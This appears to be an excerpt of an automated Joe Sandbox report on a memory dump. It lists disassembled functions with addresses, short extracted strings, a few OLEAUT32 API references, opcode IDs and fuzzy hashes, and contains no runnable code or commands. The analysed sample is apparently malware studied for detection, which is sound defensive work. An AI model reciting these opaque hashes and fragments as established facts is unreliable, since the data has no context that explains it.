Instruction Fuzzy Hash: 7D4124B8A4A7508BD7248F25D8907BA73A2AFC6315F09863DE0894B751DB7C4882C74B

Function 00415102 Relevance: 1.8, Strings: 1, Instructions: 568COMMON

Download Yara Rule

Strings

DGF9, xrefs: 004153AB, 0041549B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9
API String ID: 0-3116493752
Opcode ID: dd802ea4871c406645b2b5146f1733c5d8517d8e5aa1b48e3c034f95f0056895
Instruction ID: ec68b61a84a74f82eafdbb3159cc121800ecbed524bd8639141823bd918ed86b
Opcode Fuzzy Hash: dd802ea4871c406645b2b5146f1733c5d8517d8e5aa1b48e3c034f95f0056895
Instruction Fuzzy Hash: 53E138B1D00615CBCB24CF68C8926FB73B1FF96320B19515ED896AB390F7395881C799

Function 0040AF0D Relevance: 1.8, Strings: 1, Instructions: 535COMMON

Download Yara Rule

Strings

=1, xrefs: 0040AFB1

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: =1
API String ID: 0-2976732961
Opcode ID: 9b61db65cb5495229b382ccfb4ad93ddf672899f502f5463300abeaf9e2168f0
Instruction ID: 4436482099e8c056c1ed320b9cb3cc1e2baf622aa39fea0d6e4e7feec7f31732
Opcode Fuzzy Hash: 9b61db65cb5495229b382ccfb4ad93ddf672899f502f5463300abeaf9e2168f0
Instruction Fuzzy Hash: 4A12ABB6610B00CFD7248F29DC51B167BB2FB89314F1A86BCD55A8B6A2D735E811CF48

Function 0041D6F4 Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

0, xrefs: 0041D948

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: cc9dd41173b2e20850ef809d40398fc61edf2eb188f61947c017804646dfe7fa
Instruction ID: ed2ea5ccb58e2aa5d0045ecb12d3f37e69401e9a373cceb43c78e0fbff416af6
Opcode Fuzzy Hash: cc9dd41173b2e20850ef809d40398fc61edf2eb188f61947c017804646dfe7fa
Instruction Fuzzy Hash: 8C915BB1A183508BD7288F28C4513BBBBE2EFD6310F19852ED8D287395D77D9841C75A

Function 0041DAA8 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

?, xrefs: 0041DD4B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: c184971106b94985655a5c1f7131c26a063b3b3654f110c09773b9371ecbbc2b
Instruction ID: 146e5a8a15f8cc7bbbfb91fdc74bf2a275ed3f525cac4570de6306a765fbe14c
Opcode Fuzzy Hash: c184971106b94985655a5c1f7131c26a063b3b3654f110c09773b9371ecbbc2b
Instruction Fuzzy Hash: D371057165C3805BD714CF288C6169BFBE2EBD2714F044A6CF1D297392D7B9C8068B46

Function 0042C3F0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042C5EE

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 8e6792572bb98fb237a268325a399e4183104e18746547676a69030681fb4232
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 40711632B083354BD714CE28E8D032FB7E2ABC5710FA9952EE49497395D239DD45878A

Function 0043F9D0 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

)?VW, xrefs: 0043FA00

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: )?VW
API String ID: 0-3399984000
Opcode ID: 64641720961eeb9e3556aa4b56c993e28ed8e3fd77b5c48ab287e299607ef4b6
Instruction ID: c5f3c88434bd1068d3a4db11bbcc55db6ba385f519b6e64495adae3f703db91c
Opcode Fuzzy Hash: 64641720961eeb9e3556aa4b56c993e28ed8e3fd77b5c48ab287e299607ef4b6
Instruction Fuzzy Hash: 9051063964C6A18BC7148F74E860567BBE2BB8F701B0DC4BDD4C987351C23A9815DB45

Function 0041AB34 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

DGF9, xrefs: 0041AD55

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: DGF9
API String ID: 0-3116493752
Opcode ID: fcb7187a2b3c100e02a6f0fbc7ebef6ac8141455794522569ed4bfff80c98006
Instruction ID: ace735c7d38562301751725e8ec4a67662a4c921ec97b1a846d9a6eeeb38f254
Opcode Fuzzy Hash: fcb7187a2b3c100e02a6f0fbc7ebef6ac8141455794522569ed4bfff80c98006
Instruction Fuzzy Hash: AD51E575A0A3408BD7249F25DC806AB73E1FB86324F08993DE9C997355E7385891874B

Function 00418CE7 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

8Q!", xrefs: 00418D38

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 8Q!"
API String ID: 0-542777298
Opcode ID: 595238eed727c4b7fba78d78ded8fd5e22e653f0de498579121b91ff5eb13da1
Instruction ID: 3e933181626bd489ad30972b1cc45e965e2445e7b115e267777917bc28674bac
Opcode Fuzzy Hash: 595238eed727c4b7fba78d78ded8fd5e22e653f0de498579121b91ff5eb13da1
Instruction Fuzzy Hash: C7413B3560835087C7258F29C8A13F7B7A2EFDA310F18856EC4D68B3E5EB784842C756

Function 0043E678 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E720

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: ed445fd014032a87d7c75164a7d5281ad9d01c21051a057e464b69f6616d700c
Instruction ID: 16391866d35059813934fc0fd86c5882387100979f75a4a3cc8e44d3f105eab6
Opcode Fuzzy Hash: ed445fd014032a87d7c75164a7d5281ad9d01c21051a057e464b69f6616d700c
Instruction Fuzzy Hash: 6A310A39B4A2104BD7198F19C85017BB7A3EBDB320F19AA3DC5C197394CB389C138B49

Function 0043E674 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E720

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: fbfe1887373e0fbdfff6d2a1fb623696ce5e31b6cf7b444fbce5984abbf34ca4
Instruction ID: 8ea4084c40692a9c6366d5504b84fe33d4169160a7962a28debf175864564ff7
Opcode Fuzzy Hash: fbfe1887373e0fbdfff6d2a1fb623696ce5e31b6cf7b444fbce5984abbf34ca4
Instruction Fuzzy Hash: 5321963874A2408BE7199F16D85017BB7A3ABDB320F29693DC4D197395C7389C039B0E

Function 0042D22E Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

NQ1 , xrefs: 0042D255

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: NQ1
API String ID: 0-3401749487
Opcode ID: 0d99db5b690b5e046167769840acf69d26404d20d0f65132b7c429884950d0f9
Instruction ID: bd270ae00a8675903be997232f0a38ad5733e4da4b845d84fa6fbfca1751b1b0
Opcode Fuzzy Hash: 0d99db5b690b5e046167769840acf69d26404d20d0f65132b7c429884950d0f9
Instruction Fuzzy Hash: DAF04F2111D3828BDE65A73C5D696ABEBD08757134F742F7C81EAC32E2C7204441820E

Function 0041E92F Relevance: 1.0, Instructions: 951COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56226b5a52bcec885a3bd8fb5955885092dcc506a48bc11fa126dc73c92f6606
Instruction ID: 2ac234ce55bdeddc570fb9983e35a3b016c3ab530578e1e682cadf3d0f63bf3d
Opcode Fuzzy Hash: 56226b5a52bcec885a3bd8fb5955885092dcc506a48bc11fa126dc73c92f6606
Instruction Fuzzy Hash: F23216B59102118BCB24CF29CC917BB77F2FF99310F18966DD8859B394E738A842C794

Function 0043F250 Relevance: .7, Instructions: 698COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d691ec61e25675f307f529d07ad0b3d75d337e573c42d3d66e6dc120d8e8235b
Instruction ID: accb3089391cf48657440d686dbec7f4974c90901786a976e0a84c876ac9608e
Opcode Fuzzy Hash: d691ec61e25675f307f529d07ad0b3d75d337e573c42d3d66e6dc120d8e8235b
Instruction Fuzzy Hash: 8A225939A48251CFC304CF68D8A026AB7E2FBCE314F0A85BDD98997351D7399815CB46

Function 004074E0 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50e980b2f8ae90b16cc1359e4faedc226fc6d4817d6ef8a0a860f489735f9d5a
Instruction ID: da77f65cd2dab4f0eda647b5bc6b981479084d376e6b5b99d3fb726757357546
Opcode Fuzzy Hash: 50e980b2f8ae90b16cc1359e4faedc226fc6d4817d6ef8a0a860f489735f9d5a
Instruction Fuzzy Hash: 8412B272A0C7118BD725DF18D8806ABB3E1BBC4315F19893ED986A7381D738B855CB87

Function 0043F430 Relevance: .6, Instructions: 556COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33497120d4b0f10b8e97530cb928102a7f6d4f1e17cd4baddd5034cdbed1c32
Instruction ID: a50b60be5bd99b7f9f25fcc094f47c6abedab3e287d272d5c1739c44fb123fb1
Opcode Fuzzy Hash: b33497120d4b0f10b8e97530cb928102a7f6d4f1e17cd4baddd5034cdbed1c32
Instruction Fuzzy Hash: 58024839A48250CFC308CF68D8E066AB7E2FBCE314F0E857DD99997361D6359815CB86

Function 0043F550 Relevance: .6, Instructions: 555COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd0766e22518f9ed23be380aad2d79c359cde6f3c12d986e7742cc4d588e962
Instruction ID: b1f221b24cf1e7b00c2bf0a12f85c23a5b64863a50ced4925b50864b6cad1205
Opcode Fuzzy Hash: ebd0766e22518f9ed23be380aad2d79c359cde6f3c12d986e7742cc4d588e962
Instruction Fuzzy Hash: 3BF15535A4C2508FC708CF28D8A056BB7E3EBCA314F0ED57DD89997366D6399805CB86

Function 0043F4C0 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 891423df44169370ab53d0806d47900115fea729f4912a6217fe83d5edeb20cd
Instruction ID: 3f4a48c8a6066408315b3c5ee0c955dcd416f60fb2f344d221d6f7898db7eb75
Opcode Fuzzy Hash: 891423df44169370ab53d0806d47900115fea729f4912a6217fe83d5edeb20cd
Instruction Fuzzy Hash: 4BF14839A493508FC308CF68D8A066AB7E3FBCE314F0E857DD89997356D6359805CB86

Function 00405980 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82822453ecf6c153629959857d537bf3bb9fad70fd69b8faa98d661e8c366e8a
Instruction ID: 252469e53ef4b762284b39cf30638520bb80b1f3934e8ba8728c3a6cc7b9c1f4
Opcode Fuzzy Hash: 82822453ecf6c153629959857d537bf3bb9fad70fd69b8faa98d661e8c366e8a
Instruction Fuzzy Hash: 07F1F1356087418FD724CF29C88062BFBE6EFD9304F08882EE5D597791E679E904CB96

Function 00423A00 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aa8af37b7780320ac4bf12cb9d40e2081a6c7ecc3d38325281c2c5992b86670
Instruction ID: 3eff7fe0cb08fb46eb42891f0584f1ab6f02f85f3b47b8285246e233d3634d81
Opcode Fuzzy Hash: 7aa8af37b7780320ac4bf12cb9d40e2081a6c7ecc3d38325281c2c5992b86670
Instruction Fuzzy Hash: 49915571B043219BD710DF14D891B6BB7B0EF81715F04892DE9869B391E77CEA04C7AA

Function 004273AE Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7e1c9ce5d0d400c701a8d91b010d87468f92ea5478d33a334ba8e54b8b51583
Instruction ID: 4155f7de7b8bdfaa797e86c44701864a263fb25266962188aae00cb389e13332
Opcode Fuzzy Hash: e7e1c9ce5d0d400c701a8d91b010d87468f92ea5478d33a334ba8e54b8b51583
Instruction Fuzzy Hash: E151443174D3618BD720DE6498812EBBBE0DF55350F84893EC9D587382E23CE845E75A

Function 0042D1BA Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afed3860bd107826b73cc9173772111bc1689377579757f06357f9e7a5adb8ff
Instruction ID: ae946bdaa16049a09483b418b9ba500a743bbbe938430f9a35e224917a2eba76
Opcode Fuzzy Hash: afed3860bd107826b73cc9173772111bc1689377579757f06357f9e7a5adb8ff
Instruction Fuzzy Hash: CB410935A0C3A18BD7398F34D4643EBBBE19B96304F584A6ED8DE97342D73948068B46

Function 00441220 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 36d906f47ed715b7e333b28f201631ba7a0cddf95e7f68c9a09cfe31906dcccd
Instruction ID: 4b603dfe0b64771131d2c387f2df00fecd4ea07b80af7e25271cbdaed3683d74
Opcode Fuzzy Hash: 36d906f47ed715b7e333b28f201631ba7a0cddf95e7f68c9a09cfe31906dcccd
Instruction Fuzzy Hash: 224115357083009BF7148F649C80B7BB7D6EB86310F29853EEA85E72B1DA74EC918759

Function 004284D0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 766b0e777b740aa889d1d6330466a80789a15ab4483ce377cf6e62dd5acff248
Instruction ID: 42189459bcdc4fcb0edfe6a78330b9e0f32308b6310807ced05dff1f3c34af2c
Opcode Fuzzy Hash: 766b0e777b740aa889d1d6330466a80789a15ab4483ce377cf6e62dd5acff248
Instruction Fuzzy Hash: 443198B41283809FD7409F2A9894A5FFBE4EB9A714F409D1CF2E0AB251C7B88445CF86

Function 0043C280 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18a9058c16397c9848b1fff85d264c0b221730d6db803c3fad585fd0c9c409fe
Instruction ID: 867729c6247fe25f5d4439a0b478029e9f1c7b3c7b2b5d736b4d2e8ee05ece8a
Opcode Fuzzy Hash: 18a9058c16397c9848b1fff85d264c0b221730d6db803c3fad585fd0c9c409fe
Instruction Fuzzy Hash: AA219836B0130407C310AF7DACC122BB392DBC6324F1C923AD99497294EA79CC025399

Function 0042A458 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c79cb2df06ed7a435464126e434cf761deef216bfd894a12d5a5a9d76ea478
Instruction ID: b2fc89b0ba98359457e096cc0f531cdd462ffc028624865afbd0c03da56794d8
Opcode Fuzzy Hash: a1c79cb2df06ed7a435464126e434cf761deef216bfd894a12d5a5a9d76ea478
Instruction Fuzzy Hash: BE11E1B1E0122487CB15DFA4D91117BB3B2EFB6314B69946EDC853B344E33AAC52C789

Function 00435F00 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 5939802b1301af77679c215306a21a7299ef6c9da27cc0b365f9f239b0c19f2f
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6C110833B055D50EC3168D3C8400565BFA30AA7234F6D93DAF4B89B2D6D6278D8B8399

Function 0042BA30 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b5280e027455b2ee487d5a6f27ecac9499f9b334a82c6a535828fa71fc6dd8
Instruction ID: 78f8b5daa550dcc25a9d9f450a1aa9f88e443fbed571d866511b540a67711741
Opcode Fuzzy Hash: d0b5280e027455b2ee487d5a6f27ecac9499f9b334a82c6a535828fa71fc6dd8
Instruction Fuzzy Hash: 0C01B1F1B0072157DB309E91E4C172BB3A9AF90708F18443EE84557342DB79EC0882E9

Function 00402C00 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 433017f57b4ff2e0484c119e48ab2dee1d4af6101c2dcac2cb3ae16944cbe040
Instruction ID: af81cc09431c3020cdf73e10bbeec0e535eb8bffe28a55faca7dadd1507f4e56
Opcode Fuzzy Hash: 433017f57b4ff2e0484c119e48ab2dee1d4af6101c2dcac2cb3ae16944cbe040
Instruction Fuzzy Hash: 05F0593A7192220BB210ED75DDC492BF356EBCA310B19463AE940E33C0C4B2E806C2A8

Function 0040BC41 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82150405e348a74988c79fa42501c3a38c15bb0c9bb34b19c600bf7bc07784b
Instruction ID: c86039122eb3ab57a61443d7292083b361dd6ea33612f3444ac70fac177bb936
Opcode Fuzzy Hash: e82150405e348a74988c79fa42501c3a38c15bb0c9bb34b19c600bf7bc07784b
Instruction Fuzzy Hash: 38D0A7F8DA1404ABD50EEB00BC02A79B23DDBC3309F14703BE9016330BE624662681AD

Function 0042A623 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12433d77639e5a5fda9645b5c0bbb067a008e1232b0500649b864a2439530514
Instruction ID: f7a81bb9c1e1d51e7c6baae1ef2598c99099f4ffcaae59bb62ddc53ee2019f6b
Opcode Fuzzy Hash: 12433d77639e5a5fda9645b5c0bbb067a008e1232b0500649b864a2439530514
Instruction Fuzzy Hash: 0FB092F9C06920A6D0122B113E025AAB0260D13208F05203AE84632242EB6AD21E409F

Function 004331B9 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 93COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004331C2
VariantInit.OLEAUT32 ref: 004331CE

Strings

x, xrefs: 00433234
B, xrefs: 0043320C
~, xrefs: 0043323C
6, xrefs: 00433218
J, xrefs: 004331EC
D, xrefs: 00433224
z, xrefs: 0043322C
L, xrefs: 00433204
$, xrefs: 00433228
|, xrefs: 00433244
F, xrefs: 0043321C
@, xrefs: 00433214
T, xrefs: 004331E4
N, xrefs: 004331FC
H, xrefs: 004331F4
*, xrefs: 00433208
-, xrefs: 004331F8

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $$*$-$6$@$B$D$F$H$J$L$N$T$x$z$|$~
API String ID: 2610073882-889373959
Opcode ID: 859d2a625e136ea24a3fcef046352ed735a8023c06f0fb7a859a46886411e361
Instruction ID: dc4d7a941d7cc8418506971a105e55b98827f2ab528e8ec018c9a56b2cf0a303
Opcode Fuzzy Hash: 859d2a625e136ea24a3fcef046352ed735a8023c06f0fb7a859a46886411e361
Instruction Fuzzy Hash: AC414A611087C08FD716CF28C498746BFA1AFA6218F08C6DCC9990F3DBD7799519C7A6

Function 0043305D Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00433066
VariantInit.OLEAUT32 ref: 00433072

Strings

L, xrefs: 004330A8
D, xrefs: 004330C8
~, xrefs: 004330E0
T, xrefs: 00433088
6, xrefs: 004330BC
*, xrefs: 004330AC
x, xrefs: 004330D8
J, xrefs: 00433090
|, xrefs: 004330E8
-, xrefs: 0043309C
F, xrefs: 004330C0
z, xrefs: 004330D0
@, xrefs: 004330B8
N, xrefs: 004330A0
B, xrefs: 004330B0
$, xrefs: 004330CC
H, xrefs: 00433098

